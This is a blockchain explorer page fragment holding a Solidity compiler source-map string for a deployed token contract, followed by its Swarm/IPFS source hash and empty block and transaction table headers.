0:24:::0;;;:18:::1;:24;::::0;;;;;42518:4:::1;::::0;42630:24:::1;;::::0;:50:::1;;-1:-1:-1::0;;;;;;42658:22:0;::::1;;::::0;;;:18:::1;:22;::::0;;;;;::::1;;42630:50;42627:96;;;-1:-1:-1::0;42706:5:0::1;42627:96;42739:10;;42753:1;42739:15;42735:472;;;42775:7;:32;;;;;42794:13;-1:-1:-1::0;;;;;42786:21:0::1;:4;-1:-1:-1::0;;;;;42786:21:0::1;;42775:32;:54;;;;;42821:8;;42811:6;:18;;42775:54;:90;;;;-1:-1:-1::0;42833:13:0::1;::::0;-1:-1:-1;;;;;42833:13:0::1;42858:6;42833:32;;42775:90;42771:175;;;42893:13;::::0;42886:44:::1;::::0;;-1:-1:-1;;;42886:44:0;;-1:-1:-1;;;;;42886:44:0;;::::1;;::::0;::::1;::::0;;;42893:13;;;::::1;::::0;42886:40:::1;::::0;:44;;;;;42893:13:::1;::::0;42886:44;;;;;;;42893:13;;42886:44;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;42771:175;42965:16;::::0;::::1;::::0;::::1;;;42964:17;:42:::0;::::1;;;;42993:13;-1:-1:-1::0;;;;;42985:21:0::1;:4;-1:-1:-1::0;;;;;42985:21:0::1;;;42964:42;:67;;;;-1:-1:-1::0;43018:13:0::1;::::0;-1:-1:-1;;;;;43010:21:0;;::::1;43018:13:::0;::::1;43010:21;;42964:67;:103;;;;-1:-1:-1::0;43035:13:0::1;::::0;-1:-1:-1;;;;;43035:13:0::1;43060:6;43035:32;;42964:103;:135;;;;;43098:1;43071:24;43081:13;43071:9;:24::i;:::-;:28;42964:135;:154;;;;-1:-1:-1::0;43103:15:0::1;::::0;;;::::1;;;42964:154;42960:236;;;43146:13;;;;;;;;;-1:-1:-1::0;;;;;43146:13:0::1;-1:-1:-1::0;;;;;43139:39:0::1;;:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;42960:236;43293:38;43308:4;43313:2;43316:6;43323:7;43293:14;:38::i;:::-;-1:-1:-1::0;;28441:37:0;;;;;;;;;;;;-1:-1:-1;;;28441:37:0;;;;:10;;:37;;-1:-1:-1;28441:10:0;28456:1;;28441:14;:37::i;:::-;28428:10;:50;-1:-1:-1;;;40908:2431:0:o;4381:192::-;4467:7;4503:12;4495:6;;;;4487:29;;;;-1:-1:-1;;;4487:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;4539:5:0;;;4381:192::o;38176:163::-;38217:7;38238:15;38255;38274:19;:17;:19::i;:::-;38237:56;;-1:-1:-1;38237:56:0;-1:-1:-1;38311:20:0;38237:56;;38311:11;:20::i;:::-;38304:27;;;;38176:163;:::o;5779:132::-;5837:7;5864:39;5868:1;5871;5864:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;5857:46;5779:132;-1:-1:-1;;;5779:132:0:o;3478:181::-;3536:7;3568:5;;;3592:6;;;;3584:46;;;;;-1:-1:-1;;;3584:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;4832:471;4890:7;5135:6;5131:47;;-1:-1:-1;5165:1:0;5158:8;;5131:47;5202:5;;;5206:1;5202;:5;:1;5226:5;;;;;:10;5218:56;;;;-1:-1:-1;;;5218:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3942:136;4000:7;4027:43;4031:1;4034;4027:43;;;;;;;;;;;;;;;;;:3;:43::i;16860:113::-;16956:8;;-1:-1:-1;;;;;16956:8:0;16860:113;:::o;43351:997::-;28253:16;:23;;-1:-1:-1;;28253:23:0;;;;;;43502:27:::1;:20:::0;43527:1:::1;43502:24;:27::i;:::-;43487:42;;43540:17;43560:42;43585:4;43560:42;;;;;;;;;;;;;-1:-1:-1::0;;;43560:42:0::1;;::::0;:20:::1;:24;;:42;;;;;:::i;:::-;43540:62:::0;-1:-1:-1;43905:21:0::1;43971:22;43988:4:::0;43971:16:::1;:22::i;:::-;44124:18;44145:41;:21;44171:14:::0;44145:25:::1;:41::i;:::-;44124:62;;44236:35;44249:9;44260:10;44236:12;:35::i;:::-;44297:43;::::0;;;;;::::1;::::0;::::1;::::0;;;;;;;;;;;::::1;::::0;;;;;;;::::1;-1:-1:-1::0;;28299:16:0;:24;;-1:-1:-1;;28299:24:0;;;-1:-1:-1;;;43351:997:0:o;45548:834::-;45659:7;45655:40;;45681:14;:12;:14::i;:::-;-1:-1:-1;;;;;45720:19:0;;;;;;:11;:19;;;;;;;;:46;;;;-1:-1:-1;;;;;;45744:22:0;;;;;;:11;:22;;;;;;;;45743:23;45720:46;45716:597;;;45783:48;45805:6;45813:9;45824:6;45783:21;:48::i;:::-;45716:597;;;-1:-1:-1;;;;;45854:19:0;;;;;;:11;:19;;;;;;;;45853:20;:46;;;;-1:-1:-1;;;;;;45877:22:0;;;;;;:11;:22;;;;;;;;45853:46;45849:464;;;45916:46;45936:6;45944:9;45955:6;45916:19;:46::i;45849:464::-;-1:-1:-1;;;;;45985:19:0;;;;;;:11;:19;;;;;;;;45984:20;:47;;;;-1:-1:-1;;;;;;46009:22:0;;;;;;:11;:22;;;;;;;;46008:23;45984:47;45980:333;;;46048:44;46066:6;46074:9;46085:6;46048:17;:44::i;45980:333::-;-1:-1:-1;;;;;46114:19:0;;;;;;:11;:19;;;;;;;;:45;;;;-1:-1:-1;;;;;;46137:22:0;;;;;;:11;:22;;;;;;;;46114:45;46110:203;;;46176:48;46198:6;46206:9;46217:6;46176:21;:48::i;46110:203::-;46257:44;46275:6;46283:9;46294:6;46257:17;:44::i;:::-;46337:7;46333:41;;46359:15;:13;:15::i;38347:585::-;38444:7;;38480;;38397;;;;;38498:319;38522:9;:16;38518:20;;38498:319;;;38588:7;38564;:21;38572:9;38582:1;38572:12;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;38572:12:0;38564:21;;;;;;;;;;;;;:31;;:66;;;38623:7;38599;:21;38607:9;38617:1;38607:12;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;38607:12:0;38599:21;;;;;;;;;;;;;:31;38564:66;38560:97;;;38640:7;;38649;;38632:25;;;;;;;;;38560:97;38682:49;38694:7;:21;38702:9;38712:1;38702:12;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;38702:12:0;38694:21;;;;;;;;;;;;;;;;38682:49;;;;;;;;;;;-1:-1:-1;;;38682:49:0;;;;;;;:7;;38694:21;38682:11;:49::i;:::-;38672:59;;38756:49;38768:7;:21;38776:9;38786:1;38776:12;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;38776:12:0;38768:21;;;;;;;;;;;;;;;;38756:49;;;;;;;;;;;-1:-1:-1;;;38756:49:0;;;;;;;:7;;38768:21;38756:11;:49::i;:::-;38746:59;-1:-1:-1;38540:3:0;;38498:319;;;-1:-1:-1;38853:7:0;;38841;;:20;;:11;:20::i;:::-;38831:7;:30;38827:61;;;38871:7;;38880;;38863:25;;;;;;;;38827:61;38907:7;;-1:-1:-1;38916:7:0;-1:-1:-1;38347:585:0;;;:::o;6407:278::-;6493:7;6528:12;6521:5;6513:28;;;;-1:-1:-1;;;6513:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6552:9;6568:1;6564;:5;;;;;;;6407:278;-1:-1:-1;;;;;6407:278:0:o;44356:587::-;44505:16;;;44519:1;44505:16;;;44481:21;44505:16;;;;;44481:21;44505:16;;;;;;;;;;-1:-1:-1;44505:16:0;44481:40;;44550:4;44532;44537:1;44532:7;;;;;;;;;;;;;:23;-1:-1:-1;;;;;44532:23:0;;;-1:-1:-1;;;;;44532:23:0;;;;;44576:15;-1:-1:-1;;;;;44576:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;44576:21:0;44566:7;;:4;;44571:1;;44566:7;;;;;;;;;;;:31;-1:-1:-1;;;;;44566:31:0;;;-1:-1:-1;;;;;44566:31:0;;;;;44610:62;44627:4;44642:15;44660:11;44610:8;:62::i;:::-;44711:15;-1:-1:-1;;;;;44711:66:0;;44792:11;44818:1;44862:4;44889;44909:15;44711:224;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;44711:224:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;44356:587;;:::o;44955:512::-;45103:62;45120:4;45135:15;45153:11;45103:8;:62::i;:::-;45412:6;;45208:251;;;-1:-1:-1;;;45208:251:0;;45280:4;45208:251;;;;;;;;;;-1:-1:-1;45208:251:0;;;;;;;;;;-1:-1:-1;;;;;45412:6:0;;;45208:251;;;;45433:15;45208:251;;;;;;:15;:31;;;;;;45247:9;;45208:251;;;;;;;;;;;;;;45247:9;45208:31;:251;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40251:93;40299:5;;;;40294:19;;40306:7;;40294:19;40323:5;:13;;-1:-1:-1;;40323:13:0;;;40251:93;:::o;47719:697::-;47822:23;47847:14;47863:12;47877:18;47897:12;47913:20;47925:7;47913:11;:20::i;:::-;47821:112;;;;;;;;;;47945:15;47962:23;47987:12;48003:55;48015:7;48024:15;48041:4;48047:10;:8;:10::i;:::-;48003:11;:55::i;:::-;47944:114;;;;;;48087:44;48107:7;48087:44;;;;;;;;;;;;;-1:-1:-1;;;48087:44:0;;;:7;:15;48095:6;-1:-1:-1;;;;;48087:15:0;-1:-1:-1;;;;;48087:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;:::-;-1:-1:-1;;;;;48069:15:0;;;;;;:7;:15;;;;;;;;:62;;;;48160:44;;;;;;;;;;-1:-1:-1;;;48160:44:0;;;;:15;;;:7;:15;;;;;;;:44;;48180:7;;48160:19;:44::i;:::-;-1:-1:-1;;;;;48142:15:0;;;;;;;:7;:15;;;;;;:62;;;;48236:18;;;;;;;:39;;48259:15;48236:22;:39::i;:::-;-1:-1:-1;;;;;48215:18:0;;;;;;:7;:18;;;;;:60;48286:34;48295:6;48303:4;48309:10;48286:8;:34::i;:::-;48331:17;48343:4;48331:11;:17::i;:::-;48381:9;-1:-1:-1;;;;;48364:44:0;48373:6;-1:-1:-1;;;;;48364:44:0;-1:-1:-1;;;;;;;;;;;48392:15:0;48364:44;;;;;;;;;;;;;;;;;;47719:697;;;;;;;;;;;:::o;47018:693::-;47119:23;47144:14;47160:12;47174:18;47194:12;47210:20;47222:7;47210:11;:20::i;:::-;47118:112;;;;;;;;;;47242:15;47259:23;47284:12;47300:55;47312:7;47321:15;47338:4;47344:10;:8;:10::i;47300:55::-;47241:114;;;;;;47384:44;47404:7;47384:44;;;;;;;;;;;;;-1:-1:-1;;;47384:44:0;;;:7;:15;47392:6;-1:-1:-1;;;;;47384:15:0;-1:-1:-1;;;;;47384:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;:::-;-1:-1:-1;;;;;47366:15:0;;;;;;;:7;:15;;;;;;;;:62;;;;47460:18;;;;;:7;:18;;;;;:39;;47483:15;47460:22;:39::i;:::-;-1:-1:-1;;;;;47439:18:0;;;;;;:7;:18;;;;;;;;:60;;;;47531:7;:18;;;;:39;;47554:15;47531:22;:39::i;46390:620::-;46489:23;46514:14;46530:12;46544:18;46564:12;46580:20;46592:7;46580:11;:20::i;:::-;46488:112;;;;;;;;;;46612:15;46629:23;46654:12;46670:55;46682:7;46691:15;46708:4;46714:10;:8;:10::i;46670:55::-;46611:114;;;;;;46754:44;46774:7;46754:44;;;;;;;;;;;;;-1:-1:-1;;;46754:44:0;;;:7;:15;46762:6;-1:-1:-1;;;;;46754:15:0;-1:-1:-1;;;;;46754:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;48424:768::-;48527:23;48552:14;48568:12;48582:18;48602:12;48618:20;48630:7;48618:11;:20::i;:::-;48526:112;;;;;;;;;;48650:15;48667:23;48692:12;48708:55;48720:7;48729:15;48746:4;48752:10;:8;:10::i;48708:55::-;48649:114;;;;;;48792:44;48812:7;48792:44;;;;;;;;;;;;;-1:-1:-1;;;48792:44:0;;;:7;:15;48800:6;-1:-1:-1;;;;;48792:15:0;-1:-1:-1;;;;;48792:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;:::-;-1:-1:-1;;;;;48774:15:0;;;;;;:7;:15;;;;;;;;:62;;;;48865:44;;;;;;;;;;-1:-1:-1;;;48865:44:0;;;;:15;;;:7;:15;;;;;;;:44;;48885:7;;48865:19;:44::i;40356:64::-;40400:5;:12;;-1:-1:-1;;40400:12:0;40408:4;40400:12;;;40356:64::o;37264:518::-;37429:5;;37324:23;;;;;;;;;;37429:5;;37424:67;;-1:-1:-1;37459:7:0;;-1:-1:-1;37468:1:0;;-1:-1:-1;37468:1:0;;-1:-1:-1;37468:1:0;;-1:-1:-1;37468:1:0;37451:28;;37424:67;37510:30;37536:3;37510:21;37522:8;;37510:7;:11;;:21;;;;:::i;:30::-;37501:39;;37558:28;37582:3;37558:19;37570:6;;37558:7;:11;;:19;;;;:::i;:28::-;37551:35;;37610:34;37640:3;37610:25;37622:12;;37610:7;:11;;:25;;;;:::i;:34::-;37597:47;;37662:28;37686:3;37662:19;37674:6;;37662:7;:11;;:19;;;;:::i;:28::-;37655:35;-1:-1:-1;37719:55:0;37655:35;37719:45;37753:10;37719:45;37743:4;37719:45;:7;37731:6;37719:11;:19::i;:::-;:23;;:29::i;:55::-;37701:73;;37264:518;;;;;;;;:::o;37794:374::-;37914:7;;;;37970:24;:7;37982:11;37970;:24::i;:::-;37952:42;-1:-1:-1;38005:23:0;38031:32;:15;38051:11;38031:19;:32::i;:::-;38005:58;-1:-1:-1;38074:12:0;38089:21;:4;38098:11;38089:8;:21::i;:::-;38129:7;;38138:15;;-1:-1:-1;38129:7:0;;-1:-1:-1;37794:374:0;-1:-1:-1;;;;;;37794:374:0:o;38944:1295::-;39031:19;39054:10;:8;:10::i;:::-;39031:33;-1:-1:-1;39075:18:0;39096:27;:10;39031:33;39096:14;:27::i;:::-;39075:48;-1:-1:-1;39134:14:0;39151:23;:6;39162:11;39151:10;:23::i;:::-;39134:40;-1:-1:-1;39185:12:0;39200:21;:4;39209:11;39200:8;:21::i;:::-;39235:12;:19;39185:36;;-1:-1:-1;39235:23:0;39232:211;;39289:12;:19;39277:8;;:31;39274:82;;39339:1;39328:8;:12;39274:82;39384:12;39397:8;;39384:22;;;;;;;;;;;;;;;;;;39370:11;:36;;-1:-1:-1;;;;;;39370:36:0;-1:-1:-1;;;;;39384:22:0;;;39370:36;;;;;;39421:8;:10;;39384:22;39421:10;;;39232:211;39494:4;39478:22;;;;:7;:22;;;;;;:38;;39505:10;39478:26;:38::i;:::-;39469:4;39453:22;;;;:7;:22;;;;;;;;:63;;;;39530:11;:26;;;;;;39527:121;;;39614:4;39598:22;;;;:7;:22;;;;;;:38;;39625:10;39598:26;:38::i;:::-;39589:4;39573:22;;;;:7;:22;;;;;:63;39527:121;39689:11;;-1:-1:-1;;;;;39689:11:0;39681:20;;;;:7;:20;;;;;;:30;;39706:4;39681:24;:30::i;:::-;39666:11;;;-1:-1:-1;;;;;39666:11:0;;;39658:20;;;;:7;:20;;;;;;;;:53;;;;39738:11;;;;;39726:24;;:11;:24;;;;;;;39722:110;;;39798:11;;-1:-1:-1;;;;;39798:11:0;39790:20;;;;:7;:20;;;;;;:30;;39815:4;39790:24;:30::i;:::-;39775:11;;-1:-1:-1;;;;;39775:11:0;39767:20;;;;:7;:20;;;;;:53;39722:110;39875:13;;-1:-1:-1;;;;;39875:13:0;39867:22;;;;:7;:22;;;;;;:34;;39894:6;39867:26;:34::i;:::-;39850:13;;;-1:-1:-1;;;;;39850:13:0;;;39842:22;;;;:7;:22;;;;;;;;:59;;;;39928:13;;;;;39916:26;;:11;:26;;;;;;;39912:118;;;39992:13;;-1:-1:-1;;;;;39992:13:0;39984:22;;;;:7;:22;;;;;;:34;;40011:6;39984:26;:34::i;:::-;39967:13;;-1:-1:-1;;;;;39967:13:0;39959:22;;;;:7;:22;;;;;:59;39912:118;40044:10;;40040:94;;40100:13;;40076:46;;;;;;;;-1:-1:-1;;;;;40100:13:0;;;;40093:4;;-1:-1:-1;;;;;;;;;;;40076:46:0;;;;;;;;;40040:94;40148:8;;40144:88;;40202:11;;40178:42;;;;;;;;-1:-1:-1;;;;;40202:11:0;;;;40195:4;;-1:-1:-1;;;;;;;;;;;40178:42:0;;;;;;;;;40144:88;38944:1295;;;;;;;:::o;37152:104::-;37216:32;;;;;;;;;;;;-1:-1:-1;;;37216:32:0;;;;:7;;:32;;37228:4;;37216:11;:32::i;:::-;37206:7;:42;-1:-1:-1;37152:104:0:o

Swarm Source

ipfs://5953709089bcb47a0fba7c57e73eb95daa99a271de471c0e9ff212946353927b
Block Transaction Gas Used Reward
Age Block Fee Address Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading